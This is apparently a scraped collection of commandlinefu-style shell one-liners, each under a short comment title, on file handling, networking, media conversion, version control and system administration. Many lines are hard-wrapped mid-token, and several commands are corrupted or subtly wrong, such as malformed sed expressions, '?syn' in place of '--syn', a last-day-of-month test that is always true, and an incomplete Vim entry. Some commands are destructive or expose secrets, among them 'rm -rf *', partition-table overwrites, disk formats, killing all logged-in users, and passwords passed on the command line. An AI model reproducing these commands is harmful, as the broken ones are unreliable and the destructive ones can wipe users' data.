ed 's/+//g;s/%22/"g;s/q=/' | cut -d "&" -f 1

# convert ascii string to hex
echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";'

# find filenames and directory names that doesn't conform ISO 9660 level 2
find . -regextype posix-extended -not -regex '.*/[A-Za-z_]*([\.]?[A-Za-z_]*)?'

# Search for classes in Java JAR files.
find . -name "*.jar" | while read line; do unzip -l $line; done | grep your-stri
ng

# Monitor a specific http interaction with your server
watch -n1 sudo "lsof -n | grep -E 10.0.0.1.*2.1.1.1"
```

```

# Configure a serial line device so you can evaluate it with a shell script
stty -F "/dev/ttyUSB0" 9600 ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -
icanon -iexten -echo -echoe -echok -echoctl -echoke time 5 min 1 line 0

# mail with attachment
tar cvzf - data1 data2 | uuencode data.tar.gz | mail -s 'data' you@host.fr

# autorun program when logon Windows XP
schtasks /create /sc onlogon /tn "Run prog" /tr prog.exe

# List all files/folders in working directory with their total size in Megabytes
du --max-depth=1 -m

# Query ip pools based on successive netnames via whois
net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | gr
ep '^inetnum:' | sed "s;^.*:;$net$i;" ; done

# Generate a ZenCart-style MD5 password hash.
python -c 'p="SeCuR3PwD";import hashlib as h;s=h.md5(p).hexdigest()[2];pw=h.md5
(s+p).hexdigest();print pw+": "+s;'

# Which files/dirs waste my disk space
du -aB1m|awk '$1 >= 100'

# Sort output by length of line
sortwc () { local L;while read -r L;do builtin printf "${#L}@%s\n" "$L";done|sor
t -n|sed -u 's/^[^@]*@//'; }

# Quick searching with less
zless +/search_pattern file.gz

# copy paste multiple binary files
tar -c bins/ | gzip -9 | openssl enc -base64

# resize(1/2) the image using imagemagick
convert -resize 50%x50% image{,_resize}.jpg

# Updating to Fedora 11
yum clean all ; rpm -Uvh http://download.fedora.redhat.com/pub/fedora/linux/rele
ases/11/Fedora/i386/os/Packages/fedora-release-11-1.noarch.rpm ; yum -y upgrade
; reboot

# Makes a Zenity select list based on entries in your wpa_supplicant.conf
grep -oE "ssid=\".*\"" /etc/wpa_supplicant.conf | cut -c6- | sed s/"/"/g | zenit
y --list --title="Choose Access Point" --column="SSID"

# Rename files to be all in CAPITALS
for n in * ; do mv $n `echo $n | tr '[:lower:]' '[:upper:]'`; done

# Anti DDOS
tail -f /var/www/logs/domain.com.log | grep "POST /scripts/blog-post.php" | grep
-v 192.168. | awk '{print $1}' | xargs -I{} iptables -I DDOS -s {} -j DROP

# Installing debian on fedora (chrooted)
debootstrap --arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/

# Show display adapter, available drivers, and driver in use
lspci -v | perl -ne '/VGA/..^$/ and /VGA|Kern/ and print'

# processes per user counter

```

```
pgrep -cu ioggstream

# print a cpu of a process
ps -eo %cpu,args | grep -ml PROCESS | awk '{print $1}'

# Run a ext4 file system check and badblocks scan with progress info
fsck.ext4 -cDfty -C 0 /dev/sdxx

# Add all files in current directory to SVN
svn add --force *

# List available upgrades from apt without upgrading the system
apt-get --just-print upgrade

# Recursive Line Count
find * -type f -not -name ".*" | xargs wc -l

# Direct auto-complete in bash
bind '"\t":menu-complete'

# Print only the odd lines of a file
awk 'NR%2'

# Test a SSLv2 connection
openssl s_client -connect localhost:443 -ssl2

# Update grub menu.lst
sed -e '/^$/d' -e '/^#/d' -e '/initrd/ a\ ' -e 's/hiddenmenu//g' -e '/^timeout/d'
-e '/default/ a\timeout\t\t15' -e 's/quiet//g' -e 's/splash/rootdelay=60/g' /boot/grub/menu.lst > /boot/grub/menu.lst.new

# List only directories, one per line
ls -ld */

# Command to keep an SSH connection open
watch -n 30 uptime

# Watch postgresql calls from your application on localhost
sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432

# Combines an arbitrary number of transparent png files into one file
echo -n "convert " > itcombino.sh; printf "IMG_%00004u.png " {1..1121} >> itcombino.sh; echo -n "-layers merge _final.png" >> itcombino.sh; chmod +x itcombino.sh && ./itcombino.sh

# delete all leading and trailing whitespace from each line in file
sed 's/^[ \t]*//;s/[ \t]*$//' -i file

# Get your default route
ip route | grep default | awk '{print $3}'

# Check wireless link quality with dialog box
while [ i != 0 ]; do sleep 1 | dialog --clear --gauge "Quality: " 0 0 $(cat /proc/net/wireless | grep $WIRELESSINTERFACE | awk '{print $3}' | tr -d "."); done

# Shows how many percents of all available packages are installed in your gentoo system
echo $((`eix --only-names -I | wc -l` * 100 / `eix --only-names | wc -l`))%
```



```

# resolving basic authentication problem(401) with wget
wget --auth-no-challenge --server-response -O- $url 2>&1 | grep "Cookie" | sed "
s/^ Set-//g" > cookie.txt; wget --auth-no-challenge --server-response --http-u
ser="user" --http-password="pw" --header="$(cat cookie.txt)" -O- $url

# live netcat network throughput test
nc -l -p 7777 > /dev/null

# E-mail a traditional Berkeley mbox to another recipient as individual e-mails.
formail -Y -s /usr/sbin/sendmail bar@example.com < /var/mail/foo

# Dump mySQL db from Remote Database to Local Database
mysqldump --host=[remote host] --user=[remote user] --password=[remote password]
-C db_name | mysql --host=localhost --user=[local user] --password=[local passw
ord] db_name

# Get debian package names corresponding to latex packages used in a document
grep -R usepackage * | cut -d']' -f2 | cut -s -d{' -f 2 | sed s/"}/.sty"/g |
cut -d']' -f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq

# continuously check size of files or directories
while true; do du -s <file_or_directory>; sleep <time_interval>; done

# See the top 10 IP addresses in a web access log
# cut -d ' ' -f1 /var/log/nginx/nginx-access.log | sort | uniq -c | sort -nr | h
ead -10 | nl

# A simple X11 tea timer
$(STEEP=300; sleep $STEEP; xmessage "Your tea is done") &

# resolve hostname to IP our vice versa with less output
resolveip -s www.freshmeat.net

# List the biggest accessible files/dirs in current directory, sorted
du -ms * 2>/dev/null |sort -nr|head

# calculate md5 sums for every file in a directory tree
find . -type f -print0 | xargs -0 md5sum

# The program listening on port 8080 through IPv6
netstat -lnp6 | grep :8080 | sed 's#[^\/*\(\([a-z0-9]*\)]#\1#'

# show hidden chars in vi
set list / set nolist

# Ping a URL sending output to file and STDOUT
ping google.com | tee ping-output.txt

# Search commandlinefu from the command line
(curl -d q=grep http://www.commandlinefu.com/search/autocomplete) | egrep 'autoc
omplete|votes|destination' | perl -pi -e 's/a style="display:none" class="destin
ation" href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +//g;s/^\/\//http:\/\/commandlinefu
.com\/\//g'

# Put the machine to sleep after the download(wget) is done
while [ -n "`pgrep wget`" ]; do sleep 2 ;done; [ -e "/tmp/nosleep" ] || echo mem
>/sys/power/state

# Print a row of 50 hyphens
for i in `seq 1 1 50`; do echo -n -; done

```

```

# Listing directory content of a directory with a lot of entries
perl -le 'opendir DIR, "." or die; print while $_ = readdir DIR; closedir DIR'

# Alternative way to generate an XKCD #936 style 4 word password using sed
shuf -n4 /usr/share/dict/words | sed -e ':a;N;$!ba;s/\n/ /g;s/\'\'//g;s/\b\(\.\)/\u\1/g;s/ //g'

# Help shell find freshly installed applications (re: PATH)
rehash

# Cancel all aptitude scheduled actions
aptitude keep-all

# Check tcp-wrapping support
supportsWrap(){ ldd `which ${1}` | grep "libwrap" &>/dev/null && return 0 || return 1; }

# terminal based annoy-a-tron
while true; do sleep $((RANDOM/1000)) && beep -f 2000 -l $((RANDOM/100)) ; done

# Display duplicated lines in a file
cat file.txt | sort | uniq -dc

# ShadyURL via CLI
SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' \' /is now/{print $6}'

# Extract ip addresses with sed
sed -n 's/\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}/\nip&\n/gp' ips.txt | grep ip | sed 's/ip//'| sort | uniq

# quickly formats a fat partition. usefull for flash drives
mkfs.vfat /dev/sdcl

# make directory with current date
mkdir $(date +%F)

# extract column from csv file
cut -d, -f5

# List the popular module namespaces on CPAN
curl http://www.cpan.org/modules/0lmodules.index.html |awk '{print $1}'|grep -v "<"|sort|uniq -c|grep -v "[0-9]"

# password generator
genpass(){local i x y z h;h=${1:-8};x=( {a..z} {A..Z} {0..9} );for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=${z}$y;done;echo $z ;}

# Truncate 0.3 sec from an audio file using sox
sox input.wav output.wav reverse trim 00:00:00.3 reverse

# Compare a remote file with a local file
vimdiff scp://[user@]host1/<file> scp://[user@]host2/<file>

# List out classes in of all htmls in directory
find . -name '*.html' -exec 'sed' 's/.*class="\([^"]*\?)".*/\1/ip;d' '{} ' ; |sort -su

```



```

# Extract a IRC like chat log out of an Adium xml logfile
xmlstarlet sel -N x="http://purl.org/net/ulf/ns/0.4-02" -T -t -m "//x:message" -
v "concat(substring(@time,12,5),' &lt; ',@sender,'&gt;', ' ',.)" -n

# Function to check whether a regular file ends with a newline
endnl () { [[ -f "$1" && -s "$1" && -z $(tail -c 1 "$1") ]]; }

# Get your local IP regardless of your network interface
ifconfig|sed '/inet/!d;/127.0/d;/dr:\s/d;s/^\.*:\(.*\)B.*$/\1/'

# quickly formats a fat partition. usefull for flash drives
mkdosfs /dev/sdx1

# Delete only binary files in a directory
perl -e 'unlink grep { -f -B } <*>'

# search google on os x
alias google='open http://www.google.com/search?q="'

# Speed up launch of liferea
sqlite3 ~/.liferea_1.4/liferea.db 'VACUUM;'

# grep -v with multiple patterns.
grep test somefile | grep -v -e error -e critical -e warning

# Show database sql schema from Remote or Local database
mysqldump -u<dbusername> -p<dbpassword> <databasename> --no-data --tables

# Find how much of your life you've wasted coding in the current directory
find * \( -name "*.hc[pp]" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -
0 wc -l | tail -n 1

# NICs, IPs, and Mac
ifconfig -a | nawk 'BEGIN {FS=" "}{RS="\n"}{ if($1~/:/) {printf "%s ", $1}}{ if
($1=="inet") {print " -- ",system("arp "$2)}}'|egrep -v "^[0-9]$"

# Extract title from HTML files
tr -d "\n\r" | grep -ioEm1 "<title[^>]*>[^<]*</title" | cut -f2 -d\> | cut -f1 -
d\<

# Easily find latex package documentation
texdoc packagename

# Find only *.doc and *.xls files on Windows partition
find /mountpoint -type f -iregex '.*\.\(doc|xls\)'

# Define shell variable HISTIGNORE so that comments (lines starting with #) appe
ar in shell history
export HISTIGNORE=' cd "`*: PROMPT_COMMAND=?*?'

# check the status of 'dd' in progress
ps auxww |grep " dd " |grep -v grep |awk '{print $2}' |while read pid; do kill -
USR1 $pid; done

# Store dirs to later be changed to independant of the last directory you were i
n. Also with managment tools.
pushd /directory/to/remember

```

```

# Validate all XML files in the current directory and below
find -type f -name "*.xml" -exec xmllint --noout {} \;

# Print only the odd lines of a file (GNU sed)
sed 2~2d

# Check reverse DNS
dig -x {IP}

# Tar files matching a certain wildcard
tar -czf ../header.tar.gz $(find . -name *.h)

# Determine status of a RAID write-intent bitmap
mdadm -X /tmp1/md2bitmap

# LVM2 Reduce
# umount /media/filesystem; e2fsck -f /dev/device ; resize2fs -p /dev/device 20
0G #actual newsize#;lvreduce --size 200G /dev/device; mount /media/filesystem; d
f -h /media/filesystem

# Umount only the NFS related to 'string'
for i in `df -P |grep string|cut -f2 -d%|cut -c2-100`; do umount -l -f $i;done

# copy audio file from playlist to a folder
more xx.m3u |grep -v "^#" |xargs -i cp {} target

# archlinux: find more commands provided by the package owning some command
w=`whereis <command> | awk '{print $2}'`; p=`pacman -Qo $w | sed -e 's/. *is owne
d by \([[[:alpha:]]\+\)\.*/\1/'`; pacman -Ql $p | grep 'bin'

# Display the size of all your home's directories
du -sh ~/*

# get the oldest file in a directory
ls -lt --group-directories-first /path/to/dir/ | tail -n 1

# Convert an existing Git repo to a bare repo
mv .git .. && rm -rf * && mv ../.git . && mv .git/* . && rmdir .git && git confi
g --bool core.bare true

# Force logout after 24 hours idle
fuser -k `who -u | awk '$6 == "old" { print "/dev/"$2}'`

# Create a single-use TCP proxy with copy to stdout
gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 |
tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $
PID; rm -f /tmp/sock1 /tmp/sock2 ; }

# Command to logout all the users in one command
who -u|grep -v root|awk {'print $6'}|kill `awk {'print $0'}`

# Start dd and show progress every X seconds
dd if=/path/to/inputfile of=/path/to/outputfile & pid=$! && sleep X && while kil
l -USR1 $pid; do sleep X; done

# Stream the latest offering from your fave netcasts/podcasts
vlc --one-instance --playlist-enqueue -q $(while read netcast; do wget -q $netc
ast -O - |grep enclosure | tr '\r' '\n' | tr '\ ' \" | sed -n 's/.*url=\"\([^\"]*\)\"
.*/\1/p'|head -n1; done <netcast.txt)

```

```

# List the size of all sub folders and files from the current location, with sorting
du -a --max-depth=1 | sort -n

# Set KDE4's Power Devil daemon power policy profiles
qdbus org.kde.powerdevil /modules/powerdevil setProfile <Profilename>

# Use acpi and notify-send to report current temperature every five minutes.
while ping -c 1 127.0.0.1 > /dev/null; do acpi -t -f | while read tem; do notify-send "$tem"; done; sleep 300; done

# read Windows ACLs from Linux
smbcacls //server/sharename file -U username

# cpu and memory usage top 10 under Linux
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'

# clear the cache from memory
sync; echo 3 > /proc/sys/vm/drop_caches

# Create a tar file for backup info
tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/

# Run a command if today is the last day of the month
if [[ `date +%d` == `date +%d` ]]; then ROTATE_MONTHLY_TABLES_SCRIPT;fi

# Not a kismet replacement...
watch -n .5 "iwlist wlan0 scan"

# create tar archive of files in a directory and its sub-directories
tar czf /path/archive_of_foo.`date -I`.tgz /path/foo

# watch the previous command
watch -n1 -d !!

# Burn an ISO on commandline with wodim instead cdrecord
wodim -v speed=4 dev='/dev/scd0' foo.iso

# Edit the list of to ignore files in the active directory
svn propedit svn:ignore .

# Use nroff to view the man pages
nroff -u0 -Tlp -man /usr/openwin/man/man1/Xsun.1 | col -x | less

# Print summary of referers with X amount of occurrences
awk -F\" '{print $4}' *.log | grep -v "eviljaymz\\|\\-" | sort | uniq -c | awk -F\" '{ if($1>500) print $1,$2;}' | sort -n

# Find all dotfiles and dirs
find -mindepth 1 -maxdepth 1 -name .*

# How To Get the Apache Document Root
httpd -V | grep -i SERVER_CONFIG_FILE | cut -f2 -d'"' | xargs grep -i '^Document Root' | cut -f2 -d'"'

# Substitute an already running command

```

```

c=$(pgrep <cmd>) && <new_cmd> && kill $c

# sort lines by length
perl -C -e 'print for sort { length $a <=> length $b or $a cmp $b } <>' < /usr/s
hare/dict/words | tail

# Search for files in rpm repository. (Mandriva linux)
urpmf lib/blah

# tar copy
tar cf - dir_to_cp/ | (cd path_to_put/ && tar xvf -)

# Test file system type before further commands execution
DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FS
TYPE}"

# Determine next available UID
getent passwd | awk -F: '($3>600) && ($3<10000) && ($3>maxuid) { maxuid=$3; } EN
D { print maxuid+1; }'

# kill all running instances of wine and programs runned by it (exe)
ps ax | egrep "*.exe|*exe]" | awk '{ print $1 }' | xargs kill

# Configuring proxy client on terminal
export http_proxy=<user>:<pass>@<server>:<port> ftp_proxy=<user>:<pass>@<server>
:<port>

# Automagically update grub.conf labels after installing a new kernel
LATEST=`readlink /boot/vmlinuz`; OLD=`readlink /boot/vmlinuz.old`; cat /boot/gru
b/grub.conf | sed -i -e 's/\(Latest \[[^\-]*\).*\]/\1-"${LATEST#*-}"'/1' -e 's/
\(Old \[[^\-]*\).*\]/\1-"${OLD#*-}"'/1' /boot/grub/grub.conf

# Create a directory and cd into it
take() { mkdir -p $1 && cd $1; }

# Display the definition of a shell function
typeset -f <function-name>

# In (any) vi, add a keystroke to format the current paragraph.
map ^A !}fmt

# Convert all old SVN repositories in one directory to new format
find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && sv
nadmin recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf
 "{}-old"' \;

# Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\
s*<title/ {z=match($0, /CDATA\[[^\-]*\]/, b);print b[1]} /\s*<description/ {c=
match($0, /code>(.*?)</code>/, d);print d[1]} ' | grep -v "^$"

# Generate a shortened URL with is.gd
isgd () { curl 'http://is.gd/create.php?format=simple&url="'$1" ; printf "\n" }

# urldecoding
printf $(echo -n $1 | sed 's/\\\/\\\\\/g;s/\\(%\\)\([0-9a-fA-F][0-9a-fA-F]\\)\\/\\x\2/g
')

# Outputs each arg on its own line

```

```

each() { (IFS=$'\n'; echo "$*") }

# Database size
SELECT table_schema "Data Base Name", sum( data_length + index_length ) / 1024 /
  1024 "Data Base Size in MB" FROM information_schema.TABLES GROUP BY table_schem
a ;

# SVN Command line branch merge
/usr/local/bin/svn merge -r {rev_num}:HEAD https://{host}/{project}/branches/{br
anch_name} .

# follow the content of all files in a directory
find dir/ -type f | xargs tail -fqn0

# Display summary of git commit ids and messages for a given branch
git log --pretty='format:%Cgreen%H %Cred%ai %Creset-%s'

# Get your bash scripts to handle options (-h, --help etc) and spit out auto-for
matted help or man page when asked!!
process-getopt

# Copy specific files recursively using the same tree organization.
rsync -vd --files-from=<(find . -name entries -print ) . ../target_directory

# Download 10 random wallpapers from images.google.com
for((i=0;i<10;i++)) do tmp=`wget -O- -U "" "http://images.google.com/images?img
z=xxlarge&hl=es&q=wallpaper&sa=N&start=$((($RANDOM%700+100))&ndsp=10" --quiet|gre
p -oe 'http://[^\"]*\.\jpg'|head -1`;[[ $tmp != "" ]] && wget $tmp || echo "Error
${$i+1}";done

# Pull up remote desktop for other than gnome/kde eg fluxbox
rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passw
d -display :0' & sleep 4; vncviewer $1:0 & }

# A video capture command which can be assigned to a keyboard shortcut.
gnome-terminal -e "bash -c \"ffmpeg -f x11grab -r 25 -s $(xwininfo -root |sed -n
's/ -geometry \([0-9x]*\).*\/\1/p') -i :0.0 -vcodec huffyuv -sameq ~/Desktop/scr
eencast.avi; exec bash\""

# Capitalize first letter of each word in a string - A ruby alternative
ruby -ne 'puts $_.split.collect(&:capitalize).join(" ")' <<< "pleAse cOuld YOu c
apiTalIzE Me"

# Connect to remote machine with other encoding charset
LC_ALL=fr_FR luit ssh root@remote_machine_ip

# open path with your default GNOME program
gnome-open [path]

# "at" command w/o the resource usage/competition issues
jrb() { if [ -z $1 ];then printf 'usage:\njrb <"date and/or time"> <"commandline">
&\nsee parsedate(3) strftime(3)\n';else t1=$(date +%s); t2=$(date -d "$1" +%s)
;sleep $(expr $t2 - $t1);$2 ;fi ;}

# scroll file one line at a time (w/only UNIX base utilities)
rd(){ while read a ;do printf "$a\n";sleep ${1-1};done ;} # usage: rd < file ; o
r ... | rd

# Sorted, recursive long file listing
lsr() { find "${@:-.}" -print0 |sort -z |xargs -0 ls $LS_OPTIONS -dla; }

```

```

# Report information about executable launched on system
aureport -x

# Copy 3 files from 3 different servers and adds server name tag to file copied
for i in `seq 1 3`; do scp finku@server$i:file.txt server$i-file.txt; done

# Ripping VCD in Linux
cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc

# Force wrap all text to 80 columns in Vim
ggG

# ssh batch jobs: query hundreds of hosts with an ssh command
ssh -tq -o "BatchMode yes" $HOST <some_command> >> to_a_file

# pushd rotates the stack so that the second directory comes at the top.
pushd +2; pushd -2

# What is my ip?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'

# Use curl to save an MP3 stream
curl -sS -o $outfile -m $showlengthinseconds $streamurl

# Colorize svn stat
svn stat -u | sort | sed -e "s/^M.*\/\o33[31m&\o33[0m/" -e "s/^A.*\/\o33[34m&\o33[0m/" -e "s/^D.*\/\o33[35m&\o33[0m/"

# Make a playlistfile for mpg321 or other CLI player
find /DirectoryWhereMyMp3sAre/ -regextype posix-egrep -iregex '.*?\.ogg|mp3)' |
sort > ~/mylist.m3u

# Terrorist threat level text
echo "Terrorist threat level: $(wget -q -O - http://is.gd/wacQtQ | tail -n 1 |
awk -F\" '{ print $2 }')\"

# Show all mergeinfo for a svn subtree
find . \( -type d -name .svn -prune \) -o -print | while read file ; do mergeinf
o=`svn propget svn:mergeinfo $file` ; [ "$mergeinfo" != "" ] && echo -e "$file\n
$mergeinfo\n" ; done

# urldecoding
perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'

# Testing ftp server status
for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev
/null |grep -v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi don
e

# Search and play MP3 from Skreemr
function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep
mp3$ | sed 's/^.*/' | xargs mplayer }

# Set the hardware date and time based on the system date
hwclock --systohc -utc

# Stream audio over ssh ogg version
ssh [user]@[host] "ogg123 -" < [podcast].ogg

```

```

# Generate hash( of some types) from string
openssl dgst -sha256 <<<"test"

# Single words from Amazon Kindle 3 notes
awk -F" " '{ if ( NF == 1 ) { print $0 } }' KINDLE_NOTES_FILE.txt | sed -e '/^=/
d' | sed -e '/^[[:space:]]*$/d' -e 's/,//g' | sort | comm -12 List_of_language_w
ords.txt - | uniq

# search the manual page names and descriptions
apropos somekeyword

# cloning partition tables under Solaris
prtvtoc /dev/rdisk/c0t0d0s2 | fmthard -s - /dev/rdisk/c0t1d0s2

# Simple word scramble
shuf -n1 /usr/share/dict/words | tee >(sed -e 's/./&\n/g' | shuf | tr -d '\n' |
line) > /tmp/out

# copy partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sed 's/sda/sdb/g' | sfdisk /dev/sdb

# Create and play an instant keyword based playlist
find -E ~/Music -type f -iname "*search terms*" -iregex '.*\.(3g[2|p]|aac|ac3|ad
ts|aif[c|f]?|amr|and|au|caf|m4[a|r|v]|mp[1-4]|a|mpeg[0,9]?|sd2|wav)' -exec afpla
y "{}" \; &

# Join flv files
mencoder -forceidx -of lavf -oac copy -ovc copy -o output.flv clip1.flv clip2.fl
v clip3.flv

# Given process ID print its environment variables
cat /proc/PID/environ | tr '\0' '\n'

# SSH to a machine's internet address if it is not present on your local network
ping localip -c 1 -W 1 && > /dev/null && ssh localip || ssh globalip

# Beep siren
tempo=33; slope=10; maxfreq=888; function sinus { echo "s($1/$slope)*$maxfreq"|b
c -l|tr -d '-'; }; for((i=1;;i++)); do beep -l$tempo -f`sinus $i`; done

# Follow a new friend on twitter
curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWF
RIEND.xml?follow=true

# Given process ID print its environment variables
ps ewwo command PID | tr ' ' '\n' | grep \=

# Rotate a video file by 90 degrees CW
mencoder -vf rotate=1 -ovc lavc -oac copy "$1" -o "$1"-rot.avi

# Recursively grep for string and format output for vi(m)
mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's:/ /+' |
perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's:/ /'; }

# Copies currently played song in Audacious to selected directory
function cp_mp3_to { PID=`pidof audacious2`; FILEPATH=`lsof -p $PID| grep mp3| s
ed s/[^\//]*//^; cp "$FILEPATH" "$1"; }

```

```
# make comments invisible when editing a file
vim -c'highlight Comment ctermfg=white' my.conf

# SED - Substitute string in next line
sed -i.backup '/patter/{n;s/foo/bar/g}' file

# create random string from /dev/urandom (or another length)
echo `cat /dev/urandom |tr -dc "[:alnum:]" | head -c64`

# finding cr-lf files aka dos files with ^M characters
find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;

# find all open files by named process
lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq

# Move all files between to date
sudo find . -maxdepth 1 -cnewer olderFileNameToMove -and ! -cnewer newerFileNam
eToMove -exec mv -v {} /newDirectory/ \;

# Download and install the newest dropbox beta
wget http://forums.dropbox.com && wget $(cat index.html|grep "Latest Forum Build
"|cut -d"\ " -f2) && wget $(cat topic.php*|grep "Linux x86:"|cut -d"\ " -f2|sort
-r|head -n1) && rm -rf ~/.dropbox* && rm index.html *.php* && tar zxvf dropbox-
*.tar.gz -C ~/

# make computer speaking to you :)
tail -f /var/log/messages | espeak

# Go to the Nth line of file [text editor]
vi +4 /etc/mtab

# Use acpi and notify-send to report current temperature every five minutes.
while notify-send "`acpi -t`"; do sleep 300; done

# delete multiple files with spaces in filenames (with confirmation)
ls -Q * | xargs -p rm

# A nice way to show git commit history, with easy to read revision numbers inst
ead of the default hash
git log --reverse --pretty=oneline | cut -c41- | nl | sort -nr

# sudo for launching gui apps in background
gksudo gedit /etc/passwd &

# lazy SQL QUERYING
alias QUERY='psql -h $MYDBHOST -p 5432 -d $MYDB -U $MYLOGIN --no-align'

# clear MyDNS-ng cache
kill -SIGHUP `cat /var/run/mydns.pid`

# Recall last argument of previous command
cd !$

# Monitor a file's size
watch -n 60 du /var/log/messages

# Gathering all MAC's in your local network
sudo arp-scan --interface=eth0 -l

# a find and replace within text-based files
```



```

find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \;

# read unixtimestamp with festival
say='festival --tts'; S=$(date +%s); echo $(echo $$S | cut -b 1-1)" billion" | $$
ay ; echo $(echo $$S | cut -b 2-4 | sed 's/0*//')" million"| $$say; echo $(echo $$S
| cut -b 5-7 | sed 's/0*//')" thousand"| $$say

# Show what PID is listening on port 80 on Linux
netstat -alnp | grep :::80

# Simple Gublar check command
find filepath -type f -iname "*.html" -o -iname "*.htm" -o -iname "*.php" | xarg
s grep "Exception\\|LGPL\\|CODE1"

# show ALL iptable rules
for i in `cat /proc/net/ip_tables_names`; do iptables -nL -v --line-numbers -t $
i ; done

# lazy SQL QUERYING
psql

# listen to an offensive fortune
fortune -o | espeak

# LIst svn commits by user for a date range
for i in `svn log -r{2011-02-01}:HEAD | awk '$3 == "user" {print $1}'`; do svn l
og -v -$i;done

# Iterate through current directory + all subs for C++ header files and rank by
# of comments
find ./ -name *.h -exec egrep -cH "// | /\*" {} \; | awk -F':' '{print $2 ":" $1
}' | sort -gr

# Reset hosed terminal,
stty sane ^J

# FInd the 10 biggest files taking up disk space
find / -type f 2>/dev/null | xargs du 2>/dev/null | sort -n | tail -n 10 | cut -
f 2 | xargs -n 1 du -h

# send substituted text to a command without echo, pipe
nc localhost 10000 <<< "message"

# Remove empty directories
rmdir **/*(/^F)

# Shell function to create a directory named with the current date, in the forma
t YYYYMMDD.
dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }

# Delete all empty/blank lines from text file & output to file
sed '/^$/d' /tmp/data.txt > /tmp/output.txt

# Extract a .gz file with privilege
sudo sh -c 'gunzip -c source.gz > destination'

# Quickly re-execute a recent command in bash
!<command>

```

```

# Generate random valid mac addresses
python -c "from itertools import imap; from random import randint; print ':'.join(['%02x'%x for x in imap(lambda x:randint(0,255), range(6))])"

# watch iptables counters
watch --interval 0 'iptables -nvL | grep -v "0 0"'

# Encode png's into blu-ray format
ffmpeg -r 24 -i %04d.png -i INPUTSOUND -r 24 -aspect 16:9 -s 1920x1080 -vcodec libx264 -vpre hq -acodec ac3 -b 40000k -shortest -threads 0 OUTFILE.mp4

# Obtain last stock quote from google API with xmlstarlet
xmlstarlet sel --net -t -m "//last" -v "@data" -n http://www.google.com/ig/api?s
tock=GOOG

# Export MS Access mdb files to csv
mdb-export -H -I -R database.mdb table >table.sql

# diff directories, quick cut and paste to view the changes
diff -q dir1/ dir2/ | grep differ | awk '{ print "vimdiff " $2 " " $4 }'

# list file descriptors opened by a process
ls -al /proc/<PID>/fd

# Tweet from Terminal to twitter !
curl -u yourusername:yourpassword -d status=?Your Message Here? https://twitter.
com/statuses/update.xml

# Erase a word
<ALT> <BACKSPACE>

# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH}://:/ } -iname "*admin*" -executable -type f

# Create an easy to pronounce shortened URL from CLI
shout() { curl -s "http://shoutkey.com/new?url=${1}" | sed -n "/<h1>/s/.*/href=\""
\[([^\"]*)\]"\".*\/1/p" ;}

# Anti Syn Ddos
echo 1 > /proc/sys/net/ipv4/tcp_syncookies echo 1 > /proc/sys/net/ipv4/ip_forwar
d iptables -A FORWARD -p tcp ?syn -m limit -j ACCEPT

# Fix subtitle timing (for .sub files)
sed -e 's/{//|/' -e 's/}{//|/' -e 's/}/|/' myFile.sub | awk -F "|" 'BEGIN {OFS =
"|"} { $2 = $2 - 600; $3 = $3 - 600; print $0 }' | sed -e 's/^|/|/' -e 's/\([0-9
]\)|\([0-9]\)\|1}{\2/' -e 's/|/|/' >

# Download and extract a *tar.gz file with curl.
curl http://domain.com/file.tar.gz | tar zx

# Find files with lines that do not match a pattern
fmiss() { grep -RL "$*" * }

# Notify Gnome user of files modified today
OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -
printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS

# show how many regex you use in your vim today
cat ~/.viminfo | sed -n '/^:[0-9]\+, \([0-9]\+\|\\$\)s/p'

```

```

# Pause and Resume Processes
stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }

# Blue Matrix
